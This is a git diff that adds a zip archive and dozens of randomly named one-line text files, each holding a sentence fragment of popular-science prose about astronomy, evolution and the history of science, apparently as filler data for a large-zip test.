diff --git a/big_zip/big-zip-files.zip b/big_zip/big-zip-files.zip
new file mode 100755
index 0000000..f660237
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diff --git a/big_zip/big-zip-files/acurqdgqyoi.txt b/big_zip/big-zip-files/acurqdgqyoi.txt
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index 0000000..fd282f5
--- /dev/null
+++ b/big_zip/big-zip-files/acurqdgqyoi.txt
@@ -0,0 +1 @@
+arm may be produced by the close gravitational encounter of two galaxies, each of course
\ No newline at end of file
diff --git a/big_zip/big-zip-files/aecwqhyouxkugpjtn.txt b/big_zip/big-zip-files/aecwqhyouxkugpjtn.txt
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index 0000000..e23b932
--- /dev/null
+++ b/big_zip/big-zip-files/aecwqhyouxkugpjtn.txt
@@ -0,0 +1 @@
+great many organisms, unable to cope with oxygen, perished. A few primitive forms, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/agkahcbvobe.txt b/big_zip/big-zip-files/agkahcbvobe.txt
new file mode 100644
index 0000000..60447da
--- /dev/null
+++ b/big_zip/big-zip-files/agkahcbvobe.txt
@@ -0,0 +1 @@
+Chronicle for May 15, 1910, include ‘Comet Camera as Big as a House,’ ‘Comet Comes
\ No newline at end of file
diff --git a/big_zip/big-zip-files/agnofjntwartgjzq.txt b/big_zip/big-zip-files/agnofjntwartgjzq.txt
new file mode 100644
index 0000000..9801599
--- /dev/null
+++ b/big_zip/big-zip-files/agnofjntwartgjzq.txt
@@ -0,0 +1 @@
+Like charges, charges of the same sign, strongly repel one another. We can think of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ahgkzymiyyublyejnusurp.txt b/big_zip/big-zip-files/ahgkzymiyyublyejnusurp.txt
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index 0000000..00f70fe
--- /dev/null
+++ b/big_zip/big-zip-files/ahgkzymiyyublyejnusurp.txt
@@ -0,0 +1 @@
+voyage of self-discovery.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ahthcopsppjpvzeny.txt b/big_zip/big-zip-files/ahthcopsppjpvzeny.txt
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index 0000000..0d329ee
--- /dev/null
+++ b/big_zip/big-zip-files/ahthcopsppjpvzeny.txt
@@ -0,0 +1 @@
+there may be some other means invented for a conveyance to the Moone . . . We
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ajoqevsmiylgqrt.txt b/big_zip/big-zip-files/ajoqevsmiylgqrt.txt
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index 0000000..1fac177
--- /dev/null
+++ b/big_zip/big-zip-files/ajoqevsmiylgqrt.txt
@@ -0,0 +1 @@
+and bisected by a diagonal line of- three stars, which represent the belt of the hunter. Three
\ No newline at end of file
diff --git a/big_zip/big-zip-files/aknsvujegvtnhkgfhxbjz.txt b/big_zip/big-zip-files/aknsvujegvtnhkgfhxbjz.txt
new file mode 100644
index 0000000..667e5e6
--- /dev/null
+++ b/big_zip/big-zip-files/aknsvujegvtnhkgfhxbjz.txt
@@ -0,0 +1 @@
+carbon atom, with six protons and six neutrons in its nucleus and six electrons in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/akqryeffdzubsvowkt.txt b/big_zip/big-zip-files/akqryeffdzubsvowkt.txt
new file mode 100644
index 0000000..8c73f04
--- /dev/null
+++ b/big_zip/big-zip-files/akqryeffdzubsvowkt.txt
@@ -0,0 +1 @@
+me in my chair. The laws of nature are the same throughout the Cosmos. We are now two
\ No newline at end of file
diff --git a/big_zip/big-zip-files/akumoazjuqccgpmunktwebd.txt b/big_zip/big-zip-files/akumoazjuqccgpmunktwebd.txt
new file mode 100644
index 0000000..114b91a
--- /dev/null
+++ b/big_zip/big-zip-files/akumoazjuqccgpmunktwebd.txt
@@ -0,0 +1 @@
+and simultaneously pronouncing the K.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/algncokafuyytinny.txt b/big_zip/big-zip-files/algncokafuyytinny.txt
new file mode 100644
index 0000000..c90b478
--- /dev/null
+++ b/big_zip/big-zip-files/algncokafuyytinny.txt
@@ -0,0 +1 @@
+to reconsider the prevailing wisdom and showed that ideas that had been accepted for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/aljwwnwvl.txt b/big_zip/big-zip-files/aljwwnwvl.txt
new file mode 100644
index 0000000..a5f44fa
--- /dev/null
+++ b/big_zip/big-zip-files/aljwwnwvl.txt
@@ -0,0 +1 @@
+increase its military advantage, but not in so striking a way as seriously to alarm the other.Each side continually explores the limits of the other’s tolerance, as in flights of nuclear
\ No newline at end of file
diff --git a/big_zip/big-zip-files/alygqtrmlx.txt b/big_zip/big-zip-files/alygqtrmlx.txt
new file mode 100644
index 0000000..98aab7c
--- /dev/null
+++ b/big_zip/big-zip-files/alygqtrmlx.txt
@@ -0,0 +1 @@
+it.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/anhvnshbhmhuc.txt b/big_zip/big-zip-files/anhvnshbhmhuc.txt
new file mode 100644
index 0000000..4af8802
--- /dev/null
+++ b/big_zip/big-zip-files/anhvnshbhmhuc.txt
@@ -0,0 +1 @@
+There are great ironies here.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/anxllkjqjxgn.txt b/big_zip/big-zip-files/anxllkjqjxgn.txt
new file mode 100644
index 0000000..2357a49
--- /dev/null
+++ b/big_zip/big-zip-files/anxllkjqjxgn.txt
@@ -0,0 +1 @@
+imagine that third dimension, but he can deduce it. Increase all dimensions in this story by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/aobmsrfsyiasvrhb.txt b/big_zip/big-zip-files/aobmsrfsyiasvrhb.txt
new file mode 100644
index 0000000..7bee715
--- /dev/null
+++ b/big_zip/big-zip-files/aobmsrfsyiasvrhb.txt
@@ -0,0 +1 @@
+Champollion resisted the idea of hieroglyphs as pictorial metaphors. Instead, with
\ No newline at end of file
diff --git a/big_zip/big-zip-files/aogyvpfgcpvucx.txt b/big_zip/big-zip-files/aogyvpfgcpvucx.txt
new file mode 100644
index 0000000..c340705
--- /dev/null
+++ b/big_zip/big-zip-files/aogyvpfgcpvucx.txt
@@ -0,0 +1 @@
+Earth. In our tenure on this planet we have accumulated dangerous evolutionary baggage,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/aomeecmbutjqyfvmgxcwqd.txt b/big_zip/big-zip-files/aomeecmbutjqyfvmgxcwqd.txt
new file mode 100644
index 0000000..8f40808
--- /dev/null
+++ b/big_zip/big-zip-files/aomeecmbutjqyfvmgxcwqd.txt
@@ -0,0 +1 @@
+different molecular parts, which constitute the four letters of the genetic code. These rungs,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/aopsdaamnq.txt b/big_zip/big-zip-files/aopsdaamnq.txt
new file mode 100644
index 0000000..6e68564
--- /dev/null
+++ b/big_zip/big-zip-files/aopsdaamnq.txt
@@ -0,0 +1 @@
+the skies of Mars forever, never to find safe haven. Eventually we found a suitable spot,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/apdldkszcepyyzcebqusit.txt b/big_zip/big-zip-files/apdldkszcepyyzcebqusit.txt
new file mode 100644
index 0000000..665293a
--- /dev/null
+++ b/big_zip/big-zip-files/apdldkszcepyyzcebqusit.txt
@@ -0,0 +1 @@
+which was later recorded in the chronicle of Gervase of Canterbury, generally considered a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/aqewendyutiqeauv.txt b/big_zip/big-zip-files/aqewendyutiqeauv.txt
new file mode 100644
index 0000000..9d14e66
--- /dev/null
+++ b/big_zip/big-zip-files/aqewendyutiqeauv.txt
@@ -0,0 +1 @@
+has had billions of years of practice. DNA knows.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/aqnmjqdiddbku.txt b/big_zip/big-zip-files/aqnmjqdiddbku.txt
new file mode 100644
index 0000000..0c5c47a
--- /dev/null
+++ b/big_zip/big-zip-files/aqnmjqdiddbku.txt
@@ -0,0 +1 @@
+Sirius was intrinsically brighter than the Sun, he would have come up with almost exactly
\ No newline at end of file
diff --git a/big_zip/big-zip-files/arwppmpuvtygpqkmwewpwba.txt b/big_zip/big-zip-files/arwppmpuvtygpqkmwewpwba.txt
new file mode 100644
index 0000000..cef7c4a
--- /dev/null
+++ b/big_zip/big-zip-files/arwppmpuvtygpqkmwewpwba.txt
@@ -0,0 +1 @@
+they have been prevented by an opposing continent, for the sea remained perfectly
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ashxqpvdz.txt b/big_zip/big-zip-files/ashxqpvdz.txt
new file mode 100644
index 0000000..3f91cd4
--- /dev/null
+++ b/big_zip/big-zip-files/ashxqpvdz.txt
@@ -0,0 +1 @@
+of the universe . . . So many Suns, so many Earths . . . and every one of them
\ No newline at end of file
diff --git a/big_zip/big-zip-files/atfrbdthndsltqvx.txt b/big_zip/big-zip-files/atfrbdthndsltqvx.txt
new file mode 100644
index 0000000..689cbbd
--- /dev/null
+++ b/big_zip/big-zip-files/atfrbdthndsltqvx.txt
@@ -0,0 +1 @@
+* As an aid to confusion, Ionia is not in the Ionian Sea; it was named by colonists from the coast of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/atwinupqcwiv.txt b/big_zip/big-zip-files/atwinupqcwiv.txt
new file mode 100644
index 0000000..f9cb9ca
--- /dev/null
+++ b/big_zip/big-zip-files/atwinupqcwiv.txt
@@ -0,0 +1 @@
+suppression.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/aunmqzfj.txt b/big_zip/big-zip-files/aunmqzfj.txt
new file mode 100644
index 0000000..e1ca04c
--- /dev/null
+++ b/big_zip/big-zip-files/aunmqzfj.txt
@@ -0,0 +1 @@
+matters remote from the subjects he had been force-fed in his highly disciplined Prussian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/auoomtbubcogucclgmazg.txt b/big_zip/big-zip-files/auoomtbubcogucclgmazg.txt
new file mode 100644
index 0000000..67ffc9e
--- /dev/null
+++ b/big_zip/big-zip-files/auoomtbubcogucclgmazg.txt
@@ -0,0 +1 @@
+- A question put to Pythagoras by Anaximenes (c. 600 B.C.), according to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/avkcdgqlugoag.txt b/big_zip/big-zip-files/avkcdgqlugoag.txt
new file mode 100644
index 0000000..0bccdac
--- /dev/null
+++ b/big_zip/big-zip-files/avkcdgqlugoag.txt
@@ -0,0 +1 @@
+distant relatives and assorted hangers-on. Their endless revelry, their innuendoes and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/avtwrhpn.txt b/big_zip/big-zip-files/avtwrhpn.txt
new file mode 100644
index 0000000..61dd91b
--- /dev/null
+++ b/big_zip/big-zip-files/avtwrhpn.txt
@@ -0,0 +1 @@
+three-dimensional universe, locally distorted by matter into a fourth physical dimension
\ No newline at end of file
diff --git a/big_zip/big-zip-files/awabfiwwxpod.txt b/big_zip/big-zip-files/awabfiwwxpod.txt
new file mode 100644
index 0000000..6aba0f0
--- /dev/null
+++ b/big_zip/big-zip-files/awabfiwwxpod.txt
@@ -0,0 +1 @@
+answer on whether there is life on Mars would not be forthcoming, interest dwindled still
\ No newline at end of file
diff --git a/big_zip/big-zip-files/awlyccwuqqjoangsxw.txt b/big_zip/big-zip-files/awlyccwuqqjoangsxw.txt
new file mode 100644
index 0000000..90b327f
--- /dev/null
+++ b/big_zip/big-zip-files/awlyccwuqqjoangsxw.txt
@@ -0,0 +1 @@
+extract the observations from Tycho’s recalcitrant family. His conjecture that the orbits of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/aymrkudnrjnufxfdj.txt b/big_zip/big-zip-files/aymrkudnrjnufxfdj.txt
new file mode 100644
index 0000000..54ac187
--- /dev/null
+++ b/big_zip/big-zip-files/aymrkudnrjnufxfdj.txt
@@ -0,0 +1 @@
+lightning on Jupiter and Venus and Earth. Volcanoes inject debris into the atmospheres of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/aynxzbbqdtikfhj.txt b/big_zip/big-zip-files/aynxzbbqdtikfhj.txt
new file mode 100644
index 0000000..0abcb04
--- /dev/null
+++ b/big_zip/big-zip-files/aynxzbbqdtikfhj.txt
@@ -0,0 +1 @@
+seriousness of the problem, to argue that those who worry about doomsdays are alarmists;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bbvskbbw.txt b/big_zip/big-zip-files/bbvskbbw.txt
new file mode 100644
index 0000000..658ae35
--- /dev/null
+++ b/big_zip/big-zip-files/bbvskbbw.txt
@@ -0,0 +1 @@
+in that city’s Central Park, its inscriptions have been almost totally obliterated, because of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bbymcenosdctzzxcwjxhgphs.txt b/big_zip/big-zip-files/bbymcenosdctzzxcwjxhgphs.txt
new file mode 100644
index 0000000..c47ed0b
--- /dev/null
+++ b/big_zip/big-zip-files/bbymcenosdctzzxcwjxhgphs.txt
@@ -0,0 +1 @@
+solution, which was published, at Newton’s request, anonymously. But the brilliance and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bcbmqxfrxbtvvpjm.txt b/big_zip/big-zip-files/bcbmqxfrxbtvvpjm.txt
new file mode 100644
index 0000000..0375e98
--- /dev/null
+++ b/big_zip/big-zip-files/bcbmqxfrxbtvvpjm.txt
@@ -0,0 +1 @@
+the landscapes of other planets where the records of the past have been preserved, there is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bckolbxviwaanexbk.txt b/big_zip/big-zip-files/bckolbxviwaanexbk.txt
new file mode 100644
index 0000000..8d4460b
--- /dev/null
+++ b/big_zip/big-zip-files/bckolbxviwaanexbk.txt
@@ -0,0 +1 @@
+hydrogen and oxygen atoms. Air is made mostly of the atoms nitrogen (N), oxygen (O),
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bdcqkdiyxyga.txt b/big_zip/big-zip-files/bdcqkdiyxyga.txt
new file mode 100644
index 0000000..3ac3ff5
--- /dev/null
+++ b/big_zip/big-zip-files/bdcqkdiyxyga.txt
@@ -0,0 +1 @@
+evolutionary path, will discover it early. Surprisingly, there is such a method. It is called
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bdjdvdjixkkzmgpht.txt b/big_zip/big-zip-files/bdjdvdjixkkzmgpht.txt
new file mode 100644
index 0000000..635bfa6
--- /dev/null
+++ b/big_zip/big-zip-files/bdjdvdjixkkzmgpht.txt
@@ -0,0 +1 @@
+Thales’ conclusion was correct is not as important as his approach: The world was not
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bdvnqbuutefealgveyiqd.txt b/big_zip/big-zip-files/bdvnqbuutefealgveyiqd.txt
new file mode 100644
index 0000000..2c3c2f7
--- /dev/null
+++ b/big_zip/big-zip-files/bdvnqbuutefealgveyiqd.txt
@@ -0,0 +1 @@
+in a drop of water. With infinite complacency, men went to and fro over this globe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/befqfsqxhqznqpnmbeayfg.txt b/big_zip/big-zip-files/befqfsqxhqznqpnmbeayfg.txt
new file mode 100644
index 0000000..1647266
--- /dev/null
+++ b/big_zip/big-zip-files/befqfsqxhqznqpnmbeayfg.txt
@@ -0,0 +1 @@
+connected with the grandest cosmic events. A charming example is an incantation against
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bejjitzrghrj.txt b/big_zip/big-zip-files/bejjitzrghrj.txt
new file mode 100644
index 0000000..7156e9c
--- /dev/null
+++ b/big_zip/big-zip-files/bejjitzrghrj.txt
@@ -0,0 +1 @@
+proteins and nucleic acids, no simple hydrocarbons, nothing of the stuff of life on Earth.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bejsftoqucjjl.txt b/big_zip/big-zip-files/bejsftoqucjjl.txt
new file mode 100644
index 0000000..26f2616
--- /dev/null
+++ b/big_zip/big-zip-files/bejsftoqucjjl.txt
@@ -0,0 +1 @@
+interest in disguising and suppressing heliocentric cosmology. Perhaps science was
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bertxubclg.txt b/big_zip/big-zip-files/bertxubclg.txt
new file mode 100644
index 0000000..ca5fb3f
--- /dev/null
+++ b/big_zip/big-zip-files/bertxubclg.txt
@@ -0,0 +1 @@
+occurred to everyone who has contemplated, even casually, the question of intelligent life
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bfcikdexinietftdcivwdt.txt b/big_zip/big-zip-files/bfcikdexinietftdcivwdt.txt
new file mode 100644
index 0000000..e7bcc66
--- /dev/null
+++ b/big_zip/big-zip-files/bfcikdexinietftdcivwdt.txt
@@ -0,0 +1 @@
+where infants are physically punished, there tends to be slavery, frequent killing, torturing
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bfgsqqnclficsolyyzrfxh.txt b/big_zip/big-zip-files/bfgsqqnclficsolyyzrfxh.txt
new file mode 100644
index 0000000..4d531a5
--- /dev/null
+++ b/big_zip/big-zip-files/bfgsqqnclficsolyyzrfxh.txt
@@ -0,0 +1 @@
+circumstances natural and lovely.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bfnhuchcmrqfrxj.txt b/big_zip/big-zip-files/bfnhuchcmrqfrxj.txt
new file mode 100644
index 0000000..f7d590a
--- /dev/null
+++ b/big_zip/big-zip-files/bfnhuchcmrqfrxj.txt
@@ -0,0 +1 @@
+company devoted to the communication of science in an engaging and accessible way. In
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bfwmpyjdwxjqlysk.txt b/big_zip/big-zip-files/bfwmpyjdwxjqlysk.txt
new file mode 100644
index 0000000..65b927c
--- /dev/null
+++ b/big_zip/big-zip-files/bfwmpyjdwxjqlysk.txt
@@ -0,0 +1 @@
+not a ghost of a chance of calculating the distance to the stars. But I could tell that if the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bgsbzmuefhltqczrvj.txt b/big_zip/big-zip-files/bgsbzmuefhltqczrvj.txt
new file mode 100644
index 0000000..256730e
--- /dev/null
+++ b/big_zip/big-zip-files/bgsbzmuefhltqczrvj.txt
@@ -0,0 +1 @@
+The finbacks, for example, emit extremely loud sounds at a frequency of twenty Hertz,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bipyqmjlxjlwwhlyiftmnboj.txt b/big_zip/big-zip-files/bipyqmjlxjlwwhlyiftmnboj.txt
new file mode 100644
index 0000000..1d7b45b
--- /dev/null
+++ b/big_zip/big-zip-files/bipyqmjlxjlwwhlyiftmnboj.txt
@@ -0,0 +1 @@
+and black headgear and proceed to the Akama shrine which contains the mausoleum of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bjemfvjc.txt b/big_zip/big-zip-files/bjemfvjc.txt
new file mode 100644
index 0000000..e9c939e
--- /dev/null
+++ b/big_zip/big-zip-files/bjemfvjc.txt
@@ -0,0 +1 @@
+electrons becomes greater than the minuscule pressure there exerted by the solar wind. That
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bjplnyxnklijbodnnll.txt b/big_zip/big-zip-files/bjplnyxnklijbodnnll.txt
new file mode 100644
index 0000000..5f287a0
--- /dev/null
+++ b/big_zip/big-zip-files/bjplnyxnklijbodnnll.txt
@@ -0,0 +1 @@
+arises eventually produce a technical civilization. This estimate represents some middle
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bjuidjru.txt b/big_zip/big-zip-files/bjuidjru.txt
new file mode 100644
index 0000000..1880de3
--- /dev/null
+++ b/big_zip/big-zip-files/bjuidjru.txt
@@ -0,0 +1 @@
+Despite our fondness for it, it is fundamentally a poison for unprotected organic matter. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bjvilnroqr.txt b/big_zip/big-zip-files/bjvilnroqr.txt
new file mode 100644
index 0000000..7d9fa72
--- /dev/null
+++ b/big_zip/big-zip-files/bjvilnroqr.txt
@@ -0,0 +1 @@
+third dimension.’ The wretched square looks about his closed house and sees no one. What
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bkekgiyygsid.txt b/big_zip/big-zip-files/bkekgiyygsid.txt
new file mode 100644
index 0000000..6f1b844
--- /dev/null
+++ b/big_zip/big-zip-files/bkekgiyygsid.txt
@@ -0,0 +1 @@
+us. Organic and other conceivable biological molecules would simply fall to pieces. But, as an indulgence, let
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bkjnbdrfbomohsofd.txt b/big_zip/big-zip-files/bkjnbdrfbomohsofd.txt
new file mode 100644
index 0000000..37ce822
--- /dev/null
+++ b/big_zip/big-zip-files/bkjnbdrfbomohsofd.txt
@@ -0,0 +1 @@
+The stars of the Milky Way move with systematic grace. Globular clusters plunge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/blniknye.txt b/big_zip/big-zip-files/blniknye.txt
new file mode 100644
index 0000000..07d266a
--- /dev/null
+++ b/big_zip/big-zip-files/blniknye.txt
@@ -0,0 +1 @@
+tug, and one of them obligingly careens into the inner solar system. There the Sun heats it,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bnfmwufgmvtkghydlxp.txt b/big_zip/big-zip-files/bnfmwufgmvtkghydlxp.txt
new file mode 100644
index 0000000..7dc640f
--- /dev/null
+++ b/big_zip/big-zip-files/bnfmwufgmvtkghydlxp.txt
@@ -0,0 +1 @@
+probably including methane, which are at unknown rates being released to the surface by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bnnilqory.txt b/big_zip/big-zip-files/bnnilqory.txt
new file mode 100644
index 0000000..c2a865f
--- /dev/null
+++ b/big_zip/big-zip-files/bnnilqory.txt
@@ -0,0 +1 @@
+threads, social, cultural and economic forces that are not easily unraveled. The countless
\ No newline at end of file
diff --git a/big_zip/big-zip-files/broeogjeqdiokkvwxdwdk.txt b/big_zip/big-zip-files/broeogjeqdiokkvwxdwdk.txt
new file mode 100644
index 0000000..174bcfb
--- /dev/null
+++ b/big_zip/big-zip-files/broeogjeqdiokkvwxdwdk.txt
@@ -0,0 +1 @@
+civilizations. We can imagine them, curious and dispassionate, observing us, as we would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/buhbloxh.txt b/big_zip/big-zip-files/buhbloxh.txt
new file mode 100644
index 0000000..8c142b0
--- /dev/null
+++ b/big_zip/big-zip-files/buhbloxh.txt
@@ -0,0 +1 @@
+Jupiter. This accidental discovery is, incidentally, entirely typical of the history of science.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bvgrzwjuzbohquc.txt b/big_zip/big-zip-files/bvgrzwjuzbohquc.txt
new file mode 100644
index 0000000..a4a1bed
--- /dev/null
+++ b/big_zip/big-zip-files/bvgrzwjuzbohquc.txt
@@ -0,0 +1 @@
+rational, analytical and critical thinking. These are the dual strengths, the essential
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bvlmdlymmuptx.txt b/big_zip/big-zip-files/bvlmdlymmuptx.txt
new file mode 100644
index 0000000..9b5fdd2
--- /dev/null
+++ b/big_zip/big-zip-files/bvlmdlymmuptx.txt
@@ -0,0 +1 @@
+The floaters may propel themselves through the planetary atmosphere with gusts of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bvttfjnleubndzl.txt b/big_zip/big-zip-files/bvttfjnleubndzl.txt
new file mode 100644
index 0000000..9ecc5e6
--- /dev/null
+++ b/big_zip/big-zip-files/bvttfjnleubndzl.txt
@@ -0,0 +1 @@
+the subnuclear world a little more like home. Are quarks the ultimate constituents of matter,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bwaxsikiflvcpdguzpo.txt b/big_zip/big-zip-files/bwaxsikiflvcpdguzpo.txt
new file mode 100644
index 0000000..2ed4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/bwaxsikiflvcpdguzpo.txt
@@ -0,0 +1 @@
+gasoline, we are also putting sulfuric acid into the atmosphere. Like Venus, our
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bwsmsosgosajsjualveflqhz.txt b/big_zip/big-zip-files/bwsmsosgosajsjualveflqhz.txt
new file mode 100644
index 0000000..f8d719b
--- /dev/null
+++ b/big_zip/big-zip-files/bwsmsosgosajsjualveflqhz.txt
@@ -0,0 +1 @@
+death. The heavens were inhabited by angels, demons and the Hand of God, turning the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/bxqoorqyde.txt b/big_zip/big-zip-files/bxqoorqyde.txt
new file mode 100644
index 0000000..fa0ee37
--- /dev/null
+++ b/big_zip/big-zip-files/bxqoorqyde.txt
@@ -0,0 +1 @@
+one of whom eventually provides the means to travel to the moon. The Somnium makes
\ No newline at end of file
diff --git a/big_zip/big-zip-files/cbcfqimyoldgjeohtyew.txt b/big_zip/big-zip-files/cbcfqimyoldgjeohtyew.txt
new file mode 100644
index 0000000..8fe31cf
--- /dev/null
+++ b/big_zip/big-zip-files/cbcfqimyoldgjeohtyew.txt
@@ -0,0 +1 @@
+entirely mistaken about Saturn, Mercury and Venus, and Jupiter has many more moons
\ No newline at end of file
diff --git a/big_zip/big-zip-files/cbmosrqdpdvxgchirit.txt b/big_zip/big-zip-files/cbmosrqdpdvxgchirit.txt
new file mode 100644
index 0000000..3f65a83
--- /dev/null
+++ b/big_zip/big-zip-files/cbmosrqdpdvxgchirit.txt
@@ -0,0 +1 @@
+form’. Chaos created and then mated with a goddess called Night, and their offspring
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ccdcrsepy.txt b/big_zip/big-zip-files/ccdcrsepy.txt
new file mode 100644
index 0000000..cf414d2
--- /dev/null
+++ b/big_zip/big-zip-files/ccdcrsepy.txt
@@ -0,0 +1 @@
+mostly at the night side of Venus and sometimes mostly at the day side, a finding that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/cfbmuhozcjchsza.txt b/big_zip/big-zip-files/cfbmuhozcjchsza.txt
new file mode 100644
index 0000000..f55ff9c
--- /dev/null
+++ b/big_zip/big-zip-files/cfbmuhozcjchsza.txt
@@ -0,0 +1 @@
+would be nothing to figure out. There would be no impetus for science. And if we lived in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/cfcmiqtseghuf.txt b/big_zip/big-zip-files/cfcmiqtseghuf.txt
new file mode 100644
index 0000000..9dcab85
--- /dev/null
+++ b/big_zip/big-zip-files/cfcmiqtseghuf.txt
@@ -0,0 +1 @@
+calcium in our bones as chalk; the nitrogen in our proteins as air (cheap also); the iron in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/cfjscaommrjzlo.txt b/big_zip/big-zip-files/cfjscaommrjzlo.txt
new file mode 100644
index 0000000..3a289b2
--- /dev/null
+++ b/big_zip/big-zip-files/cfjscaommrjzlo.txt
@@ -0,0 +1 @@
+water. There should be permafrost, a perpetually frozen subsurface. The air was much
\ No newline at end of file
diff --git a/big_zip/big-zip-files/cfwdlmrdpfrgkzc.txt b/big_zip/big-zip-files/cfwdlmrdpfrgkzc.txt
new file mode 100644
index 0000000..cd714d6
--- /dev/null
+++ b/big_zip/big-zip-files/cfwdlmrdpfrgkzc.txt
@@ -0,0 +1 @@
+streaking toward the Virgo cluster of galaxies at more than a million miles an hour (600
\ No newline at end of file
diff --git a/big_zip/big-zip-files/cfyydoygh.txt b/big_zip/big-zip-files/cfyydoygh.txt
new file mode 100644
index 0000000..b6bd8ed
--- /dev/null
+++ b/big_zip/big-zip-files/cfyydoygh.txt
@@ -0,0 +1 @@
+effected more or less unconsciously by the fishermen, and certainly without any serious
\ No newline at end of file
diff --git a/big_zip/big-zip-files/chdwtaozaoamvzn.txt b/big_zip/big-zip-files/chdwtaozaoamvzn.txt
new file mode 100644
index 0000000..5ab6e06
--- /dev/null
+++ b/big_zip/big-zip-files/chdwtaozaoamvzn.txt
@@ -0,0 +1 @@
+the Earth, there is almost nothing but a great dark sloshing ocean of metallic hydrogen. But
\ No newline at end of file
diff --git a/big_zip/big-zip-files/cjcgqsyylkatbh.txt b/big_zip/big-zip-files/cjcgqsyylkatbh.txt
new file mode 100644
index 0000000..f6e1691
--- /dev/null
+++ b/big_zip/big-zip-files/cjcgqsyylkatbh.txt
@@ -0,0 +1 @@
+There is an idea - strange, haunting, evocative - one of the most exquisite
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ckcuzkrygnnjuokitfdwkr.txt b/big_zip/big-zip-files/ckcuzkrygnnjuokitfdwkr.txt
new file mode 100644
index 0000000..894b47f
--- /dev/null
+++ b/big_zip/big-zip-files/ckcuzkrygnnjuokitfdwkr.txt
@@ -0,0 +1 @@
+the Heavens.’ Nevertheless, the Aztecs had no illusions about the Spaniards, whom they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ckmgrqhsnjgly.txt b/big_zip/big-zip-files/ckmgrqhsnjgly.txt
new file mode 100644
index 0000000..f5e300e
--- /dev/null
+++ b/big_zip/big-zip-files/ckmgrqhsnjgly.txt
@@ -0,0 +1 @@
+Arden, my Executive Assistant, for typing the early drafts of this book and ushering the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ckoyacshsdymllmxmjox.txt b/big_zip/big-zip-files/ckoyacshsdymllmxmjox.txt
new file mode 100644
index 0000000..9fa7b1c
--- /dev/null
+++ b/big_zip/big-zip-files/ckoyacshsdymllmxmjox.txt
@@ -0,0 +1 @@
+of thousands of years; human beings evolved on this planet only a few million years ago.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/cnavxkhysxxgtwixkkp.txt b/big_zip/big-zip-files/cnavxkhysxxgtwixkkp.txt
new file mode 100644
index 0000000..ebff257
--- /dev/null
+++ b/big_zip/big-zip-files/cnavxkhysxxgtwixkkp.txt
@@ -0,0 +1 @@
+shackles that bound its companion, which then leaps into space at its former orbital
\ No newline at end of file
diff --git a/big_zip/big-zip-files/cngoexdpdgopdfba.txt b/big_zip/big-zip-files/cngoexdpdgopdfba.txt
new file mode 100644
index 0000000..1d0c9a2
--- /dev/null
+++ b/big_zip/big-zip-files/cngoexdpdgopdfba.txt
@@ -0,0 +1 @@
+advanced technology we might wish not only to increase the total atmospheric pressure and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/crorzphaivxeugcapx.txt b/big_zip/big-zip-files/crorzphaivxeugcapx.txt
new file mode 100644
index 0000000..90e3625
--- /dev/null
+++ b/big_zip/big-zip-files/crorzphaivxeugcapx.txt
@@ -0,0 +1 @@
+blood, but the idea of performing any experiment to probe Nature is the important innovation.
\ No newline at end of file
